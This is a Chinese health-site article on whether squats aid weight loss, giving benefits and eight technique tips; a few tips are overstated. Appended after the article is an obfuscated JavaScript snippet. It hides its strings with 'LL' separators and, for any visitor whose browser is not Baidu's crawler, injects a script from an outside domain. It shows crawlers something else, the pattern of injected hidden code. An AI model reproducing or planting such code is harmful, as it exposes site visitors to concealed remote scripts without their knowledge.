当前位置:首页 > 健康 > 运动健身 > 正文

深蹲减肥有作用吗

2017-04-16 09:26:42  来源:360常识网   热度:
导语:深蹲是一种非常简单的运动方法,即使是年龄大一些的人也可以完成,所以深蹲训练受到很多人的欢迎,因为深蹲比较简单,方便,一般不需要借助

深蹲是一种非常简单的运动方法,即使是年龄大一些的人也可以完成,所以深蹲训练受到很多人的欢迎,因为深蹲比较简单,方便,一般不需要借助其他工具,不需要资金投入,而且训练效果也比较好,因此很多人都用深蹲的方法进行减肥,通过深蹲达到燃烧脂肪的目的,那么,深蹲减肥有作用吗?我们一起分析下。

深蹲运动的好处有很多。首先它能够锻炼我们身体的肌肉,打造具有曲线的体型,起到健康减肥、翘臀提胸的作用。另外深蹲还能增强身体全身的力量,提高我们的弹跳力。老人做深蹲运动还能延缓衰老的速度。建议久坐办公室的上班一族及老年人多多尝试。

深蹲的几个要点:

1.一定要深蹲,而不要半蹲,要蹲到大腿与地面平行甚至更低,这样能更好的刺激到臀大肌,若蹲,请深蹲。

2.不论下蹲还是站起,都要保证膝关节和脚尖的指向相同!脚尖绝对不应该朝向正前方!也就是双脚不要平行,要外八,其实你正常的蹲下去根本不会平行的,不信你试试。

3.深蹲对腰背,上肢的柔韧性有很大要求~所以深蹲前最好拉伸一下。

4.站距大于肩宽比较好,当然也可以小于肩宽,刺激大腿其他部位,但重量不宜过大。

5.不要掂脚尖,如果你不垫脚尖蹲不下去的话,(站距合适的情况下)说明不是你的柔韧有问题,就是你下肢太胖了。

6.深蹲的重量最好大一点。因为下肢肌肉很强壮,轻重量很难刺激到。

7.最重要的一点,怎么舒服怎么蹲,你最舒服的蹲法一定是最安全的蹲法。

8.经常深蹲的人臀部会很翘。你可以在动作的最顶点做一下顶峰收缩进一步的刺激到臀大肌。啥叫顶峰收缩呢?就是动作的最后屁股有意识的收紧一下。

根据以上的分享和介绍我们知道,深蹲的时候一定要注意以上的问题,老年人也可以尝试用深蹲的方法进行锻炼和减肥,但是在锻炼的时候要注意方法,最好在健身教练的知道下,因为对老年人来说,深蹲还是有一些的危险性的,所以在锻炼的同时要注意方法。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}